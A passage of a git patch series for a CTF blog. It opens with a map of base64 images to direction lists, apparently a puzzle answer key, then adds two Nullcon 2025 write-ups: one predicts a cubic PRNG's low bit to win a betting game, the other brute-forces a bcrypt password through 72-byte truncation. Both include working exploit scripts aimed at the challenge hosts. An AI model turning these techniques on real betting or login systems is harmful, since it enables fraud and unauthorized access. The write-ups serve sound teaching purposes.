vhUBvC3p0uHQz+py60GDpNOtjc9ehg9E/1KFbDr1oQZv/sRx1+/Mxw0OEzwwF/akDYvlu/DtZfP5j/7bq9tR/2virrU8oecnC9kIVv1+ltHmBvfQpydrp8/u873ecz7/KDc2N+oJtXhxz1OXXI0vffzofv8wQH8zlArv4wF1TZ+nEuyBfsfsl45C5ydh7I2r/nUPIGu/GI3O1idcjeP2Mxf9DF6ZDDHqNDFr//djq+zyMcTHeAXP5hKlTZ/HEq5BN2v+Q4chc5PQ2yukxR8gq744jc7sZ0yO4/xzC/0A3rkOM+pEOWv/9W4vs8w4F0gFz/oQ9Vtn/sQ75h90uSu8j5I8j6Qpa8wy7xP3qeu/NoRYl8cCtk1bnFqnfI0TZkUiiUx5DLJocKh07g3uTFyXGh5fBxvfdzAji3GFZWYycizw/b2jAcFytUQzferObCEoZsuG8Fm9F9taiGbvmMyDAAG+6rEuy1vSL5rBr6mFPG4OYAnHq5InnWVttLX5EtBtbOudEH4NQR92073XXvCQOKr4MXCaHH/a6N+Kr0hUqufT28SAh9r8oZ+4SXq/5lXcmBk8ch+WZDQrNc9T8OxmkpN5AD14ZvNiQ0AlksUzjwAeTAdfINCQPIYJanHAo5cL18AIbwoU1aDg49Jwvga0Xy2YAwhDxnkHY1uKAPWHDd2EhoB3FhjXrJwS3kBdfPGwnDuKxN0SxHBOncSgMvUhjhxRDPONTdm0qmBiQlbC/dJZKbVqidYyBTi4cSxrC1Qe2jitSqwSBtjyGDAWof1UAM1INBwDiG5LUc/QYyNVlIgeORuMLxW1JRhecElHEMSSucEGKgLpQwAUvCCie8IrXaLKTNCdgmq+HopTuOniw4S21YC5iCbaKa5RR1H+D6NNJiCoYk+XISCNsKeS1gEoYENctJSh/gGnnfSSwmYUhO4KTPK3HBmc7tbA+AN5N4SEzgtLcl6uTS1iRkYjgxxIVWZ4WNidqklIk2JWrlAh5PwzYhhRNDvKPT0atCvXQf5+5NMq5w4lZ6qddDAVN5MhAmruRTYbZSmG0l16WE0aWUko7/4tssnVMH4Q5nLXHWl4SWUy+91swjQHyp3ydCiOCKbXL6hVC7fhQwGckbaoVVxHNCk4IgtBGoVokB0VNQhBBjS6nAKCd76iRQQIw3SrUxCvrPrWa+HkuvhTYCF9VJhQJjQlikoRFCDFYat1EgMg0+i4VCgTGLcC4xiEKFNqNcEW4lgeRF4V6UG/qsop4WXqRiU7gShercjQORqaCAOFe1eRXlmXDKFg9VOYlzq6itUNIRhPtRlsos4oT0lHk0mgCcB9NzPo6rci4S+kNCKCBSrcmDOG2KwhzIognnUVJU4lCRC5FCispMgh4PZsIUhUhFD0ZGf0iJ+0xeqnHGInUfIlGNu5FaoVjkihavLNIIJdI9LRh32aSILIIv47gSIVYt0CS1Dq1JKBQLoD/YpNGBsQUkCozcqhBiFeGaTZgxl+cSNChzeZyqkr4rqboleKxWAxrlgT1ep+q6fiHaaYFGoQKnolWpeiZcyTbOJqzfTeuc/sfXJ9ZBtBvr9+Rf/v7v//+BHw==": [ + "right", + "right", + "up" + ], + "data:image/webp;base64,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": [ + "up", + "right", + "right" + ], + "data:image/webp;base64,UklGRioEAABXRUJQVlA4TB4EAAAv/8A/AN/BNpIkJ7t7aJW/SVCEAJ72XpMG20iSnOzcvULmbxIVPjFoDYNGkhTVPbN/MeTitfDe/AckEuhol9ZQD2SFqRmZIVFZIjAwkCD8YH9iYFAbVGIwOBXUUAOcX9SAl1ADsBREIcdwflm/Jukr7GuIz2RoRkM9MC+RhCQkIcnSL45x9c23bTqtw8EdF3/e0vPhF9Kf8QtZpOdjoGhte9u2YXYikE6nQrREd+ul0TImM3T/Vxb7JwDix9+t74vo/wQ0Z/+f/X9G4bPj3Xgvjs/WMYTI/Wfk8zbJ7z/98N03ngxrX988iudVhOTeMRLwx/ff6rcbF6NE9zrGAKDePEacS/WpiwHqNo9R5+Is/PzpIsB5UqvdGBlFA+AWAXqN0UvnSbcEVGqON5ePdAsAlZ6NCVG2B18tQKvQMQVUADoZWn3uUkAJQAaow6R5DWvClzLUWtKtJ5kGaEV4Yw64DNCKcGEOIANQhAt7wGVAJ8GFPZZvPUkZgK8loB53KVA0uBigBHocU6BsQBRKoMazFCgdXAxKoAXmeDPij1lPhwRAD8g+lcArgXgoBDmlwCaClzgtdrFQDk7XCYAIFOAzJTDHmVEQ8pQC3TIKoAXmGDPKsng6iICtJ/kQgL4BHt0DLbBbhqZs5CSDW4KuebjVAphlM1KXgNO1CFiC7iG0auDZ8e4+HJ81GpAnGdwCCKBH3oXg20sR0AMSCOq0FOQsw0YGG5E7ESDbGInvZOgkffn2Y7b7sn2I51m6/ZjxvmS3jTyIPV3hxqzL9R7yTb+E9rmCvMcyZ5yPjdyFqLa5aeSecXrDzJA7b65dI9/6eDDDCSm7kNDTCNN1kzIk9aQJpiblprfPdGhS9kjHOimmC1laxjMPZxbnc6FRHv/q83Hmo00AZz4gH2cWuFxYIcx6OiQAeiAdgMojpxTY5PGi9jhdJwCy+Kr6yFMKdBnAAIungwjYepK2IicZXLLWIJyuRUAqWIQ8yeAMxreXIqAH4nlnE3KWYWMwcicCEtAufCdDZ7AP1rtt5CG6pzPKe8g3vbmuIO+RhBb52MhdSG2Qm0buaa0ZcufNtWvkW59DW3knpOxCni+rbrpuUoZcP6+5qUm56e0zHZqUPfJBXRTThawt4mk754239dZyYfW152k754239SYaQunrJ/zvn6F0Q/3U97//7HPa2wTMZw/bpsHqh7DSwQ5htWf//Y+cYS2DHer4P6N8KH7teAVQN04F1IzzOrQVE7T8ulqCnq5SgqLeVUmrCmvki6BsfbRB3eoI+vrKCBqxKoLObUUErdtqaNVCLbRB8Tpog+pVEJSvgKB9q94b9dAp14UKbFXrQhVq1oVK1OtJqEa1QkUqFWrydQn2KfaRhqoYfisAGG+PuL9Uxo8/F+Ds/7P//wc/": [ + "down", + "up", + "left", + "right", + "right", + "left" + ], + "data:image/webp;base64,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": [ + "down", + "left", + "up", + "down", + "up" + ] +}; From bce376b80375b9484cddcd69694c98571ec16b12 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 2 Feb 2025 03:30:40 -0600 Subject: [PATCH 03/21] nullcongoahackim2025ctf-coinflip --- .../nullcongoahackim2025ctf-coinflip/chall.py | 73 ++++++++++++++ .../css/styles.css | 4 + .../index.mdx | 95 +++++++++++++++++++ 3 files changed, 172 insertions(+) create mode 100644 src/content/blog/nullcongoahackim2025ctf-coinflip/chall.py create mode 100644 src/content/blog/nullcongoahackim2025ctf-coinflip/css/styles.css create mode 100644 src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx diff --git a/src/content/blog/nullcongoahackim2025ctf-coinflip/chall.py b/src/content/blog/nullcongoahackim2025ctf-coinflip/chall.py new file mode 100644 index 0000000..aa75400 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-coinflip/chall.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +import os +import sys +from Crypto.Util.number import bytes_to_long, getRandomNBitInteger +import math + +flag = open('flag','r').read().strip() +N = 64 + +def log(*err_messages): + '''function for debugging purposes''' + logs = open('err.log','a') + for msg in err_messages: + if type(msg) == bytes: msg = hexlify(msg).decode() + logs.write(msg) + logs.write('\n=====\n') + logs.close() + +class CRG(object): + """Cubic Random Generator""" + + def __init__(self, n): + '''n - bitlength of state''' + self.n = n + self.m = getRandomNBitInteger(n) + while True: + self.a = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes + if math.gcd(self.a, self.m) == 1: break + while True: + self.state = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes + if math.gcd(self.state, self.m) == 1: break + self.buffer = [] + + def next(self): + if self.buffer == []: + self.buffer = [int(bit) for bit in bin(self.state)[2:].zfill(self.n)] + self.state = self.a * pow(self.state, 3, self.m) % self.m + #log('new state: ', self.state) + return self.buffer.pop(0) + +def loop(): + balance = 2 + coin = ['head','tails'] + crg = CRG(N) + while True: + if balance == 0: + print('I do not talk to broke people.') + return + if balance >= 1000000000: + print(f'Wow, here is your flag: {flag}') + return + print(f'How much do you want to bet? (you have {balance})') + sys.stdout.flush() + amount = int(sys.stdin.buffer.readline().strip()) + if amount > balance or amount <= 0: + print('Ugh, cheater!') + return + print('What is your bet?') + sys.stdout.flush() + bet = sys.stdin.buffer.readline().strip().decode() + if bet == coin[crg.next()]: + print('you win') + balance += amount + else: + print('you lose') + balance -= amount + +if __name__ == '__main__': + try: + loop() + except Exception as err: + print('Something went wrong') + log('ERROR: ', repr(err)) diff --git a/src/content/blog/nullcongoahackim2025ctf-coinflip/css/styles.css b/src/content/blog/nullcongoahackim2025ctf-coinflip/css/styles.css new file mode 100644 index 0000000..a90a69a --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-coinflip/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e685b5; + word-wrap: break-word; +} \ No newline at end of file diff --git a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx new file mode 100644 index 0000000..aef4e8f --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx @@ -0,0 +1,95 @@ +--- +title: Nullcon Goa HackIM 2025 CTF Coinflip +date: 2025-02-02T09:26:39.091Z +draft: false +author: dajeff +tags: [crypto] +--- + +import css from "css/styles.css?url"; +import chall from "./chall.py?url"; + +### Problem Summary + + + +> Dr. Evil wants to play a game and he demands one ~~million~~ billion shitcoins for the flag. +> +>
+> `52.59.124.14:5032` +>
+> +>
+> chall.py +>
+ +chall.py contains a pseudo-RNG `CRG` that randomly generates +- a 64-bit modulus `self.m` +- a relatively prime parameter `self.a`, and +- a relatively prime initial state `self.state`. + +```py +def __init__(self, n): + '''n - bitlength of state''' + self.n = n + self.m = getRandomNBitInteger(n) + while True: + self.a = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes + if math.gcd(self.a, self.m) == 1: break + while True: + self.state = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes + if math.gcd(self.state, self.m) == 1: break + self.buffer = [] +``` + +This pseudo-RNG yields random bits by enumerating the bits of `self.state`, generating a new state `self.state = self.a * pow(self.state, 3, self.m) % self.m` when the bits run out. +```py +def next(self): + if self.buffer == []: + self.buffer = [int(bit) for bit in bin(self.state)[2:].zfill(self.n)] + self.state = self.a * pow(self.state, 3, self.m) % self.m + #log('new state: ', self.state) + return self.buffer.pop(0) +``` + +The pseudo-RNG is used to generate a series of coin flips. We can either gain money by guessing a coin flip correctly or lose money by guessing incorrectly. Our goal is to gain enough money to reach a `balance` of at least `1000000000`. + +### Solution + +Observe that we only need to know one bit in `self.state` before it is revealed. We will bet an amount of 1 whenever we are unsure of the next bit and an amount of our whole `balance` when we are sure. On average, our 1 bets will contribute an amount of 0 while our `balance` bets will double our balance, meaning our balance will grow exponentially. + +For the bit that we aim to know, we focus our attention to the units bit, as it is special and can sometimes be predicted when doing these types of operations. In particular, if `self.m` is even, then `self.a` and `self.state` are guaranteed to be odd as they are relatively prime to `self.m`. When this happens, `self.state` starts out as odd, and `self.a * pow(self.state, 3, self.m) % self.m` will continue to be odd. As such, in this case we can reliably predict units bit (i.e. every 64th bit) to be a 1. + +The script below predicts 0 for all non-units bits (as it is slightly more frequent due to [Benford's law](https://en.wikipedia.org/wiki/Benford%27s_law)) and 1 for all units bits. We'll rerun the script until we obtain a `m` that is even and luckily gain enough `balance` so that the bets of amount 1 are not enough to bankrupt us. + +```py +from pwn import * + +r = remote("52.59.124.14", 5032) + +try: + cnt = 0 + while True: + for i in range(64): + print((line := r.recvline().strip())) + amount = int(line[line.find(b"(you have ") + 10:line.find(b")")]) + if i < 63: + r.sendline(b"1") + print(r.recvline()) + r.sendline(b"head") + else: + r.sendline(bytes(str(amount), "utf-8")) + print(r.recvline()) + r.sendline(b"tails") + + print(line := r.recvline().strip()) + win = line == b"you win" + + cnt += 1 + print("ATTEMPT", cnt, cnt % 64, "FINISHED") +except Exception as e: + while True: + print(r.recvline()) +``` + +Flag: `ENO{1nfin1t3_r1che5_3re_y0ur5_1t_s33m5}` From 126fc9bfd37f98f1c4d33adb04fe50fb6d9778b3 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 2 Feb 2025 03:37:24 -0600 Subject: [PATCH 04/21] nullcongoahackim2025ctf-coinflip update --- src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx index aef4e8f..4e2b92d 100644 --- a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx +++ b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx @@ -1,5 +1,5 @@ --- -title: Nullcon Goa HackIM 2025 CTF Coinflip +title: "Nullcon Goa HackIM 2025 CTF Coinflip" date: 2025-02-02T09:26:39.091Z draft: false author: dajeff @@ -60,7 +60,7 @@ Observe that we only need to know one bit in `self.state` before it is revealed. For the bit that we aim to know, we focus our attention to the units bit, as it is special and can sometimes be predicted when doing these types of operations. In particular, if `self.m` is even, then `self.a` and `self.state` are guaranteed to be odd as they are relatively prime to `self.m`. When this happens, `self.state` starts out as odd, and `self.a * pow(self.state, 3, self.m) % self.m` will continue to be odd. As such, in this case we can reliably predict units bit (i.e. every 64th bit) to be a 1. -The script below predicts 0 for all non-units bits (as it is slightly more frequent due to [Benford's law](https://en.wikipedia.org/wiki/Benford%27s_law)) and 1 for all units bits. We'll rerun the script until we obtain a `m` that is even and luckily gain enough `balance` so that the bets of amount 1 are not enough to bankrupt us. +The script below predicts `head` (0) for all non-units bits (as it is slightly more frequent due to [Benford's law](https://en.wikipedia.org/wiki/Benford%27s_law)) and `tails` (1) for all units bits. We'll rerun the script until we obtain a `m` that is even and luckily gain enough `balance` so that the bets of amount 1 are not enough to bankrupt us. ```py from pwn import * From 96c909c3b767dbbad983988870267e8e2f0334ed Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 2 Feb 2025 03:51:33 -0600 Subject: [PATCH 05/21] nullcongoahackim2025ctf-coinflip polish --- src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx | 1 - 1 file changed, 1 deletion(-) diff --git a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx index 4e2b92d..c95c901 100644 --- a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx +++ b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx @@ -86,7 +86,6 @@ try: win = line == b"you win" cnt += 1 - print("ATTEMPT", cnt, cnt % 64, "FINISHED") except Exception as e: while True: print(r.recvline()) From 0c3154eeba1cf348afb4940cc20a9b1f67661e96 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 2 Feb 2025 05:57:23 -0600 Subject: [PATCH 06/21] nullcongoahackim2025ctf-bfail --- .../css/styles.css | 4 + .../nullcongoahackim2025ctf-bfail/index.mdx | 84 +++++++++++++++++++ 2 files changed, 88 insertions(+) create mode 100644 src/content/blog/nullcongoahackim2025ctf-bfail/css/styles.css create mode 100644 src/content/blog/nullcongoahackim2025ctf-bfail/index.mdx diff --git a/src/content/blog/nullcongoahackim2025ctf-bfail/css/styles.css b/src/content/blog/nullcongoahackim2025ctf-bfail/css/styles.css new file mode 100644 index 0000000..a0906a7 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-bfail/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e685b5; + word-wrap: break-word; +} diff --git a/src/content/blog/nullcongoahackim2025ctf-bfail/index.mdx b/src/content/blog/nullcongoahackim2025ctf-bfail/index.mdx new file mode 100644 index 0000000..c4e26f7 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-bfail/index.mdx @@ -0,0 +1,84 @@ +--- +title: "Nullcon Goa HackIM 2025 CTF Bfail" +date: 2025-02-02T11:56:00.487Z +draft: false +author: dajeff +tags: [web] +--- + +import css from "css/styles.css?url"; + + + +> To 'B' secure or to 'b' fail? Strong passwords for admins are always great, right? +> +> Author: @gehaxelt +> +> http://52.59.124.14:5013 + +The page source hints that we can view the server source code at http://52.59.124.14:5013/source. + +```py +from flask import Flask, request, redirect, render_template_string +import sys +import os +import bcrypt +import urllib.parse + +app = Flask(__name__) +app.secret_key = os.urandom(16) +# This is super strong! The password was generated quite securely. Here are the first 70 bytes, since you won't be able to brute-force the rest anyway... +# >>> strongpw = bcrypt.hashpw(os.urandom(128),bcrypt.gensalt()) +# >>> strongpw[:71] +# b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76' +app.ADMIN_PW_HASH = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK' +FLAG = open("flag.txt").read(); + + +@app.route('/source') +def source(): + return open(__file__).read() + + +@app.route('/', methods=["GET"]) +def index(): + username = request.form.get("username", None) + password = request.form.get("password", None) + if username and password: + username = urllib.parse.unquote_to_bytes(username) + password = urllib.parse.unquote_to_bytes(password) + if username != b"admin": + return "Wrong user!" + if len(password) > 128: + return "Password too long!" + if not bcrypt.checkpw(password, app.ADMIN_PW_HASH): + return "Wrong password!" + return f"""Congrats! It appears you have successfully bf'ed the password. Here is your {FLAG}""" # Use f-string formatting within the template string + # ... +``` + +Our goal is to find a string that hashes to `app.ADMIN_PW_HASH`. + +The comment gives 71 bytes of the password, despite saying it gives 70. Giving 71 bytes of the password seems strange, so we'll do some research on the `bcrypt.hashpw` format (e.g. how many bytes the salt takes up, etc) to see how much information 71 bytes really gives us. + +After finding the [documentation](https://passlib.readthedocs.io/en/stable/lib/passlib.hash.bcrypt.html#security-issues), it turns out that ``only the first 72 bytes of a password are hashed,'' so we only need to brute force the last (72nd) byte of the effective password to find a string that matches the admin password hash. + +```py +import bcrypt +import requests + +admin = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK' +salt = b'$2b$12$8bMrI6D9TMYXeMv8pq8Rje' +for b in range(256): + password = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76' + b.to_bytes() + h = bcrypt.hashpw(password, salt) + if h == admin: + break + +# password = b"\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76\xaa" + +session = requests.Session() +print(session.get("http://52.59.124.14:5013", data={"username": "admin", "password": password}).text) +``` + +Flag: `ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}` From ca6a6abf3a702f38665e93bc056e12c52d2b5fcf Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 2 Feb 2025 06:00:35 -0600 Subject: [PATCH 07/21] nullcongoahackim2025ctf-coinflip move stylesheet link above header --- src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx index c95c901..fc08c91 100644 --- a/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx +++ b/src/content/blog/nullcongoahackim2025ctf-coinflip/index.mdx @@ -9,10 +9,10 @@ tags: [crypto] import css from "css/styles.css?url"; import chall from "./chall.py?url"; -### 